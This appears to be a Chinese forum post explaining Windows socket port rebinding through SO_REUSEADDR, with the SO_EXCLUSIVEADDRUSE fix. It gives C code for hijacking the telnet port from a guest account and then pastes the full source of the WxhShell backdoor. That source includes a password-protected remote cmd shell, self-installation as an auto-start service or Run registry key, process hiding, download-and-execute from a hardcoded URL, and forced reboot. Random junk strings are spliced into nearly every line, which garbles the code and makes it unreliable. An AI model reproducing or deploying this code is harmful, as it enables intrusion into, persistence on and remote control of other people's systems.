在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
yb)!jLnH s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
ZH]n&%@j S.,om;` saddr.sin_family = AF_INET;
^Fmp"[q 5[^pU$Y saddr.sin_addr.s_addr = htonl(INADDR_ANY);
\*5`@>_ v[S>
bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Tk(ciwB ,{{e'S9cy 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
:u}FF"j \F_~?$ 这意味着什么?意味着可以进行如下的攻击:
-oSfp23u mJjd2a"vi 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
!U}dYB:O .c#G0t<i[ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
}bwH(OOS Bismd21F6= 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
e;QPn( {<\ [gm\X 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
-)S(eqq1 g=8}G$su{% 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
)?@X{AN& /5@4}m>Z@ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
:Taequk 6 w"-& 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
+4<Ij/}p zR)9]pJ- #include
KW&5&~)2 #include
y[ikpp#ozY #include
Qyn~Vu43 #include
7#\\Ava$T DWORD WINAPI ClientThread(LPVOID lpParam);
51:NL[[6 int main()
|VlQ0{
{
nYfZ[Q>v WORD wVersionRequested;
i+`N0!8lY DWORD ret;
Knd2s~S WSADATA wsaData;
G5JZpB#o BOOL val;
{yPJYF_l SOCKADDR_IN saddr;
B2}|b^'I SOCKADDR_IN scaddr;
&<Gs@UX~w int err;
MoIq)5/ SOCKET s;
7 (}gs?&w SOCKET sc;
T@V<J' int caddsize;
"RZVv~BD HANDLE mt;
>5,nB< DWORD tid;
F(?A7 wVersionRequested = MAKEWORD( 2, 2 );
d(LX;sq? err = WSAStartup( wVersionRequested, &wsaData );
vjfV??XSU if ( err != 0 ) {
FH"u9ygF printf("error!WSAStartup failed!\n");
t)O8ON return -1;
5 iz(R:P< }
5.1 c#rL saddr.sin_family = AF_INET;
{+n0t1 l!6^xMhYk //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
uif1)y`Q$C z%$,F9/ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
&f2'cR saddr.sin_port = htons(23);
Z?IwR if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
GqYE=Q {
(]wd8M printf("error!socket failed!\n");
_z`g@[m:t return -1;
JIw=Bs }
,U-aZ val = TRUE;
;cye
'E //SO_REUSEADDR选项就是可以实现端口重绑定的
-UJ; =/ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
pA
,xDs@37 {
VR/*h% printf("error!setsockopt failed!\n");
4tv}5llSG return -1;
DOk(5gR }
_]g?3Gw7! //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
;@I4[4ph} //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
^xB=d S~ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Gw\-e;, \NIj&euF if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
D #<)q) {
OPYl#3I ret=GetLastError();
v5aHe_?lp printf("error!bind failed!\n");
x*p>l ! return -1;
v6Vd V.BI }
3k5C;5 listen(s,2);
`V(zz while(1)
?b}d"QsmU {
zcn> 4E) caddsize = sizeof(scaddr);
=TTk5(m //接受连接请求
7RH1,k sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
"`QI2{!l if(sc!=INVALID_SOCKET)
9_~[ {
Xup"gYTZQ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
"r:i if(mt==NULL)
D^R= {
G-54D_ 4 printf("Thread Creat Failed!\n");
f{m,?[1C, break;
Kbdjd p }
?9F_E+! }
HAkEJgV CloseHandle(mt);
nE4?oq }
V l,V closesocket(s);
i4',d# WSACleanup();
{C% #r@6 return 0;
>EMsBX }
.V4w+:i DWORD WINAPI ClientThread(LPVOID lpParam)
XN*?<s3 {
9:JFG{M SOCKET ss = (SOCKET)lpParam;
S 54N SOCKET sc;
#Tr>[ZC unsigned char buf[4096];
M/O4JZEqh SOCKADDR_IN saddr;
&p."`
C long num;
r)9&'m .: DWORD val;
1c$<z~
DWORD ret;
UJ}Xa&*H\ //如果是隐藏端口应用的话,可以在此处加一些判断
ZQ&A'(tt4 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
%syFHUBw saddr.sin_family = AF_INET;
M9_G saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
`PV+.V} saddr.sin_port = htons(23);
C4Tn
if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
p "J^ {
/b$0).fj@, printf("error!socket failed!\n");
V*$(T t( return -1;
v#HaZT]u }
hkK+BmMj\ val = 100;
7wO0d/l_ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
S:\a&+og {
k|O?qE1hP ret = GetLastError();
pl-2O $ return -1;
U c6]]Bbc }
dBB;dN if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
_tl,-}~ {
}I1A4=d ret = GetLastError();
"0,d)L0," return -1;
\`nRgYSE }
Q|!}&= if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
w<m)T {
m|7lDfpb printf("error!socket connect failed!\n");
# 1S*}Q<k closesocket(sc);
DE0gd
ux8 closesocket(ss);
xh7[{n[; return -1;
NI@$" }
>.tP7= while(1)
Ps0g {
(|{b ZW} //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
'1$#onx //如果是嗅探内容的话,可以再此处进行内容分析和记录
C4#E N} //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
JTK0#+? num = recv(ss,buf,4096,0);
#[4Mw M3 if(num>0)
VcLB0T7m\ send(sc,buf,num,0);
shjq4#9 else if(num==0)
&8l4A=l$ break;
Mp8FYPjZ num = recv(sc,buf,4096,0);
#6jdv|fu if(num>0)
r_5k$u( send(ss,buf,num,0);
6I)1[tU else if(num==0)
&_DRrp0CN break;
?r`UBR+[ }
{3jV ,S closesocket(ss);
4f}:)M$5 closesocket(sc);
d )}@0Q return 0 ;
\Y EV
5
}
\z/_vzz4 34@f(^d+^ bZ/4O*B ==========================================================
Cb{n4xKW6 fnZa IV=H 下边附上一个代码,,WXhSHELL
SM<kR1bo f9Vxtd ==========================================================
af:wg]g 75O-%9lFF #include "stdafx.h"
S.!0~KR:U _n[4+S*v( #include <stdio.h>
M"E ]r=1 #include <string.h>
w""5T| #include <windows.h>
HjX!a29Wf #include <winsock2.h>
*\UxdL 22 #include <winsvc.h>
c|kQ3( #include <urlmon.h>
;[)t*yAh liYR8 D
| #pragma comment (lib, "Ws2_32.lib")
5M.KF;P #pragma comment (lib, "urlmon.lib")
97$1na3gq #WOb&h #define MAX_USER 100 // 最大客户端连接数
7c:5Ey #define BUF_SOCK 200 // sock buffer
jq4'=L$4 #define KEY_BUFF 255 // 输入 buffer
4z~%gt74O] Fu
K(SP3 #define REBOOT 0 // 重启
";)SA,Z #define SHUTDOWN 1 // 关机
D^E+#a 1 ""j(wUp-W #define DEF_PORT 5000 // 监听端口
>=|;2*9v ?z:Xdx\l #define REG_LEN 16 // 注册表键长度
jslfq@5v #define SVC_LEN 80 // NT服务名长度
-n C
5 OT&mNE4 // 从dll定义API
X(b"b:j' typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
E!a5-SrR typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
"S">#.L typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
J!%cHqR typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
HuX{8nl a q{rc[ s? // wxhshell配置信息
$] js0)> struct WSCFG {
\X'{ e e int ws_port; // 监听端口
9Q!X~L|\S char ws_passstr[REG_LEN]; // 口令
b&Dc DX int ws_autoins; // 安装标记, 1=yes 0=no
{kLL&`ii char ws_regname[REG_LEN]; // 注册表键名
?c vXuxCm char ws_svcname[REG_LEN]; // 服务名
&DqeO8?Q char ws_svcdisp[SVC_LEN]; // 服务显示名
_]W
}6?i char ws_svcdesc[SVC_LEN]; // 服务描述信息
{
.z6J)?J2 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
=Yxu {]G int ws_downexe; // 下载执行标记, 1=yes 0=no
]t69a4&,#9 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
(Ea)`'/ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
(z[|\6O wYf9&}k\4 };
++s=$D zH0{S.3k // default Wxhshell configuration
lC/4CPKtV struct WSCFG wscfg={DEF_PORT,
:Kc}R)6 "xuhuanlingzhe",
q><E? 1,
]FJpe^
ua "Wxhshell",
^,Sl^ 9K "Wxhshell",
n9J.]+@J "WxhShell Service",
y.zS?vv2g "Wrsky Windows CmdShell Service",
t=`bXBX1 "Please Input Your Password: ",
,{@,dw`lUz 1,
!wws9 "
http://www.wrsky.com/wxhshell.exe",
N6GvzmG#g "Wxhshell.exe"
`_IgH };
] M"l-A ^JDiI7 // 消息定义模块
k$V.hG|6M char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
&ZjQa.-U> char *msg_ws_prompt="\n\r? for help\n\r#>";
pg}9baW? char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
H8>u: char *msg_ws_ext="\n\rExit.";
EDm,Y char *msg_ws_end="\n\rQuit.";
kEM5eY char *msg_ws_boot="\n\rReboot...";
ZaCUc Px char *msg_ws_poff="\n\rShutdown...";
+^St"GWY char *msg_ws_down="\n\rSave to ";
{9 >jWNx @K 8sNPK char *msg_ws_err="\n\rErr!";
@wWro?s'p char *msg_ws_ok="\n\rOK!";
J!Kk7!^| Y.O/~ af char ExeFile[MAX_PATH];
zSYh\g" int nUser = 0;
ZMSP8(V HANDLE handles[MAX_USER];
`-l,`7e' int OsIsNt;
q@;z((45 ''9FB5 SERVICE_STATUS serviceStatus;
k1A64?p SERVICE_STATUS_HANDLE hServiceStatusHandle;
a95QDz J?ljqA}i // 函数声明
*siN#,5 int Install(void);
09Sy-
je*/ int Uninstall(void);
oG! S(95 int DownloadFile(char *sURL, SOCKET wsh);
a@&^t( 1 int Boot(int flag);
* /S=9n0 void HideProc(void);
,0^:q)_ int GetOsVer(void);
Td&w
int Wxhshell(SOCKET wsl);
J%?'Q{ void TalkWithClient(void *cs);
M<3P int CmdShell(SOCKET sock);
XYbc1+C int StartFromService(void);
_)q,:g~fu int StartWxhshell(LPSTR lpCmdLine);
)V!dmVQq{g JrF\7*rh9 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
PvzB, 2": VOID WINAPI NTServiceHandler( DWORD fdwControl );
*D: wwJ :les
3T}2 // 数据结构和表定义
G)A5;u\P9 SERVICE_TABLE_ENTRY DispatchTable[] =
&j@i>(7 {
1*_wJ {wscfg.ws_svcname, NTServiceMain},
-[kbHrl& {NULL, NULL}
b"+J8W };
M1Jnn4w*d \R>!HY // 自我安装
;cBFft}D int Install(void)
gxpGi@5 {
D0?l$]aE char svExeFile[MAX_PATH];
7`^]:t HKEY key;
U>^u!1X strcpy(svExeFile,ExeFile);
N?d4Pu1m kRBPl99 // 如果是win9x系统,修改注册表设为自启动
nw3CI&Y` if(!OsIsNt) {
Z3K~C_0Cnu if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
lFT_J?G$' RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
+zpmy3Q RegCloseKey(key);
9/LI[{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
,|4%YaN.3 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
1mw<$'pm0 RegCloseKey(key);
~=5 vc'' return 0;
~F`t[p }
J4
yT| }
v)(tB7&`= }
>$]SYF29 else {
4_3
DQx9s y0Pr[XZ // 如果是NT以上系统,安装为系统服务
i%7b)t[y SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Y-%S,91O if (schSCManager!=0)
o@}+b}R} {
q9j9"M' SC_HANDLE schService = CreateService
Ak!l}d (
A&i
schSCManager,
Z9rs,_A wscfg.ws_svcname,
vb{+yEa wscfg.ws_svcdisp,
_
i )Z8# SERVICE_ALL_ACCESS,
{0fQ"))" SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
n/_cJD\ SERVICE_AUTO_START,
u 89u#gCAC SERVICE_ERROR_NORMAL,
Xp]tL3-p svExeFile,
*N"bn'>3 NULL,
3IqYp K(s NULL,
P7n+@L$ NULL,
|qS<{WZ!h NULL,
y%CaaK=V3 NULL
*pN,@ZV$ );
RltG/ZI if (schService!=0)
XDvT#(Pu {
C[$uf CloseServiceHandle(schService);
)1H$5h CloseServiceHandle(schSCManager);
kI974:e42 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
YX+Da"\ strcat(svExeFile,wscfg.ws_svcname);
`F:PWG` if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
G`NH~C RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
}SHF RegCloseKey(key);
ET4 C/nb return 0;
a_5 `9B L }
8H_3.MK }
Qc2_B\K^ CloseServiceHandle(schSCManager);
1!. CfQi }
t@-:e^ v }
S5ofe]tS@ J;Az0[qMR return 1;
X]q,A5g }
9V&%_.Z NfcQB;0 // 自我卸载
$smzP.V int Uninstall(void)
:0Nd4hA {
)J+vmY~& HKEY key;
0(VQwGC[ f<A Bs4w if(!OsIsNt) {
vkan+~H if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
@RKw1$BA RegDeleteValue(key,wscfg.ws_regname);
x,"'\=|s* RegCloseKey(key);
EAq/Yw2$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
}et^'BkA( RegDeleteValue(key,wscfg.ws_regname);
Y7)YJI RegCloseKey(key);
Gnmj-'x return 0;
JZ&]"12]fR }
emb~l{K $ }
krm&.J }
v"Bv\5f,Ys else {
w}pFa76rm @=)_PG SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
4f~hd-z if (schSCManager!=0)
^1U2&S {
%(b`i C9 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
zEJ|;oL if (schService!=0)
SE{$a3`UzP {
s,ZJ?[/ if(DeleteService(schService)!=0) {
@#ih;F CloseServiceHandle(schService);
5B| iBS l CloseServiceHandle(schSCManager);
\}t(g}7T return 0;
X""<5s'0 }
I'G$: GX CloseServiceHandle(schService);
(`gqLPx[ }
sj003jeko CloseServiceHandle(schSCManager);
rixNz@p'% }
~q#UH'=% }
6gfv7V2H Zr'VA,v return 1;
3+"z }
3.B|uN z=vfP% // 从指定url下载文件
d$g-u8 int DownloadFile(char *sURL, SOCKET wsh)
\(jSkrrD {
IZeWswz HRESULT hr;
GEy^*, d char seps[]= "/";
g+p?J.+ char *token;
dkJ+*L5 char *file;
dNG>:p char myURL[MAX_PATH];
axnkuP( char myFILE[MAX_PATH];
71nXROB $+zev$f strcpy(myURL,sURL);
Q$G!-y+"i token=strtok(myURL,seps);
hf>JW[>Xo while(token!=NULL)
n_sCZ6uXEQ {
mZJ"e,AY file=token;
hT9fqH token=strtok(NULL,seps);
fLAOA9 }
c3]ZU^ jR\&2;T GetCurrentDirectory(MAX_PATH,myFILE);
OOs Y{8xM strcat(myFILE, "\\");
$d%m%SZxv strcat(myFILE, file);
K[PIw}V$?: send(wsh,myFILE,strlen(myFILE),0);
\MQ|( send(wsh,"...",3,0);
Rer\=' hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
UyBI;k^]
if(hr==S_OK)
W"YFx*W return 0;
uG&xtN8 else
8a|p`)lT return 1;
s2riayM9/
v7T05 }
#rqLuqw E"&fT!yi // 系统电源模块
!6\{q
M int Boot(int flag)
#-1 ; {
N|?"=4Z? HANDLE hToken;
|/[?]` TOKEN_PRIVILEGES tkp;
BftW<1,U^ 0J z'9 if(OsIsNt) {
` *x;&.&v OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
I/rq@27o LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
!.H< dQS tkp.PrivilegeCount = 1;
$0V<wsVM tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
O8TAc]B AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
^k]OQc7q' if(flag==REBOOT) {
wqJ^tA! if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
3|-)]^1O return 0;
w0x,~ }
DzYi>
E:* else {
5X4; (Qj if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
".onev^( return 0;
m^@,0\F }
c?"#x-<1s }
5;oWFl else {
IM|VGT0 if(flag==REBOOT) {
l4u_Z:<w if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
rePJ4i [y return 0;
{<o_6 z`$ }
yNi/JM else {
p)RASIB if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
fI;6!M#
return 0;
T?{"T/ }
5ycccMx0V }
,IF3VE&r "detDB
return 1;
s"?Z jV)` }
F\F_">5 ob05:D_bc9 // win9x进程隐藏模块
n.n;'p9t@ void HideProc(void)
0#0[E , {
L,M=ogdb py VTA1 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
I9rWut@+ if ( hKernel != NULL )
wO/}4>\ {
URdCV{@42 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
W2P(!q>r] ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
cm@q{(r FreeLibrary(hKernel);
O@6iG }
Pp3<K649 *cz nokq6 return;
+KgLe> -} }
k#NIY4%. @{3$H^ // 获取操作系统版本
!f[LFQD int GetOsVer(void)
=v]\{. {
eG*<=.E OSVERSIONINFO winfo;
Y|FF
;[ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
_>+!&_h GetVersionEx(&winfo);
q@8Jc[\d if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
=~6A c}$ return 1;
6^y*A!xY else
xCGa3 X return 0;
jU.z{(s }
d*$$E AP5[}$TT // 客户端句柄模块
g|ewc'y int Wxhshell(SOCKET wsl)
jI%v[]V {
#N9^C@ SOCKET wsh;
8'[g? struct sockaddr_in client;
}5
^2g!M DWORD myID;
gpDH_!K y:u7*%" while(nUser<MAX_USER)
b5lZ| |W. {
k=!lPIx int nSize=sizeof(client);
s:ig;zb wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
r0t4\d_& if(wsh==INVALID_SOCKET) return 1;
^=`7]E [p 1=:=zyEEo handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
l{ <+V) if(handles[nUser]==0)
7.mY@ closesocket(wsh);
5IE3[a%X else
{2 l35K= nUser++;
9oBK(Sf@^ }
1c8Nr&Jl WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
MIma:N_c UtPFkase return 0;
nX%b@cOXj }
.UX`@Q:Gp ;]c@%LX // 关闭 socket
C'$w*^me void CloseIt(SOCKET wsh)
nMm4fns {
35=kZXwG+4 closesocket(wsh);
-i93 nUser--;
(:Di/{i&r5 ExitThread(0);
4A0
,N8ja} }
San3^uX QL/I/EgqC // 客户端请求句柄
<8;SSdoKi void TalkWithClient(void *cs)
!2L?8oP-z {
vDI$
QUMD6 t7GK\B8: SOCKET wsh=(SOCKET)cs;
1%Hc/N- char pwd[SVC_LEN];
jHjap:i`cI char cmd[KEY_BUFF];
ayF+2(vch) char chr[1];
xb{G:v int i,j;
r+v?~m! (Yi1U~{: while (nUser < MAX_USER) {
]M3V]m (~S=DFsP if(wscfg.ws_passstr) {
@7S*
] if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
qFQO1"mu //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
bmCp:6 //ZeroMemory(pwd,KEY_BUFF);
m8[XA!, i=0;
xf2|9Tqt while(i<SVC_LEN) {
FgwIOpqE* $[f-{B{>* // 设置超时
1N\/61+aA fd_set FdRead;
l9{}nz struct timeval TimeOut;
P=3mLz- FD_ZERO(&FdRead);
T.d1? FD_SET(wsh,&FdRead);
,f*Q3 S/I TimeOut.tv_sec=8;
ZZ'5BfI"I% TimeOut.tv_usec=0;
lo!^h]iE ! int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
+G:CR,Z>+ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
6_mkt|E= i?{)o]i if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
KXrZ:4bg pwd
=chr[0]; iYaS
if(chr[0]==0xd || chr[0]==0xa) { *Aqd["q
pwd=0;
'ug:ic
break; trx y3k;
} ?Vre"6U
i++; (>.lkR
} z]+&kNm
X,xCR]+5S
// 如果是非法用户,关闭 socket d#8 n<NM
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [&(~{#}M:
} j+"w2
WUBI(g\
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :+ZLKm
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8
$qj&2 N
xeNj@\jdC5
while(1) { OsT|MX
/SW*y@R2l
ZeroMemory(cmd,KEY_BUFF); '3|fv{I
6 2:FlW>
// 自动支持客户端 telnet标准 !jWE^@P/B
j=0; s$gR;su)g
while(j<KEY_BUFF) { Xb<>AzEM
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7Is:hx|:
cmd[j]=chr[0]; ]9$iUA%Ef
if(chr[0]==0xa || chr[0]==0xd) { Lv&9s
cmd[j]=0; ;mT
break; +)xjw9b
} *fCmZ$U:{
j++; XCyU)[wY
} vSnGPLl
(S~kNbIa
// 下载文件 r03%+:
if(strstr(cmd,"http://")) { zC,c9b
send(wsh,msg_ws_down,strlen(msg_ws_down),0); X$2f)3
if(DownloadFile(cmd,wsh)) zJ6""38Pr
send(wsh,msg_ws_err,strlen(msg_ws_err),0); OwCbv j0#
else y{KYR)
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q6PG=9d0B
} S4U}u l
else { [H[L};%=j
KAJR.YNm
switch(cmd[0]) { 5) q_Aro
^c<8|lK L@
// 帮助 r;^%D(
case '?': { j7BLMTF3v
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); VUi> ]v/e
break; )+Y"4?z~
} =PF2p'.o
// 安装 D7r&z?
case 'i': { s0O]vDTR,H
if(Install()) W{%X1::q$
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vk> &
else pZcY[a
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BCfmnE4%
break; ,j6R/sg
} \E=MV~:R
// 卸载 k|,Y_h0Y
case 'r': { _\.4ofK(
if(Uninstall()) Ht:\
z;cu
send(wsh,msg_ws_err,strlen(msg_ws_err),0); dVs=*GEl9
else JZdRAL2#v
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); efNscgi
break; XV}}A^
} 5sANF9o!
// 显示 wxhshell 所在路径
OqWm5(u&S
case 'p': { YkFAu8b>
char svExeFile[MAX_PATH]; I7wR[&L885
strcpy(svExeFile,"\n\r"); jlA6~n
strcat(svExeFile,ExeFile); !w}b}+]GB
send(wsh,svExeFile,strlen(svExeFile),0); ;W T<]
break; hFo29oN
} A`#?Bj
// 重启 eBH:_Ls_-^
case 'b': { dF[|9%)
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); hF{gN3v5
if(Boot(REBOOT)) ^RJ@9`P&t
send(wsh,msg_ws_err,strlen(msg_ws_err),0); '?jsH+j+
else { tI@aRF=p]2
closesocket(wsh); XzPOqZ`Nv
ExitThread(0); F$-f j "jC
} t.+)g-X
break; #mU<]O
} qm"SN<2S*
// 关机 ;mYZ@g%e
case 'd': { ^J&D)&"j
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :C>iV+B j
if(Boot(SHUTDOWN)) C1fd@6
send(wsh,msg_ws_err,strlen(msg_ws_err),0); b}DC|?~M
else { *u-$$@|y
closesocket(wsh); h\p!J-V
ExitThread(0); E~#G_opQA
} dl"=ZI
'^
break; 0hhxTOp
} Rc:}%a%e
// 获取shell >|z:CX$]
case 's': { tz8fZ*n
CmdShell(wsh); 8k3y"239t
closesocket(wsh); Wsgp#W+
ExitThread(0); H~TuQ
break; L2p?]:-
} 064k;|>D
// 退出 oNIYO*[
case 'x': { < =~=IZ)
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2WDe34
CloseIt(wsh); zrqI^i"c
break; S]ayH$w\Q
} G pI4QzR
// 离开 cxQAp
case 'q': { B~^*@5#0|
send(wsh,msg_ws_end,strlen(msg_ws_end),0); /{: XYeX
closesocket(wsh); %Z4*;VwQ
WSACleanup(); 7~FHn'xt
exit(1); 4#}aLP
break; er5!ne
} UOFb.FRP>
} ;<q2
} !d<R=L
=%<,
^2o
// 提示信息 eM{u>n+`F0
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); IA<>+NS
} vQ*RrHG?c
} `kJ)E;v;3
O Bcz'f~
return; NTD1QJ
} zBl L98
q01 L{~>bz
// shell模块句柄 ;py9,Wno
int CmdShell(SOCKET sock) @!=Ds'MJC
{ &ocuZ-5`
STARTUPINFO si; JRi:MWR<r
ZeroMemory(&si,sizeof(si));
+WAkBE/
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @"`}%-b
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; c+&Kq.~K
PROCESS_INFORMATION ProcessInfo; ?$K-f:?c
char cmdline[]="cmd"; V]; i$
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1Xo0(*O
return 0; v@|<.
} -Uy)=]Zae
CV\^gTPmx
// 自身启动模式 >t)Pcf|s
int StartFromService(void) {j9TzR
{ iMJt8sd
typedef struct :Rb\Ca
{ _\KFMe=PV
DWORD ExitStatus; COsmVQ.
DWORD PebBaseAddress; gkO^J{_@q
DWORD AffinityMask; &n;*'M
DWORD BasePriority; 1R3,Z8j'
ULONG UniqueProcessId; ru@#s2
ULONG InheritedFromUniqueProcessId; #?Kw
y
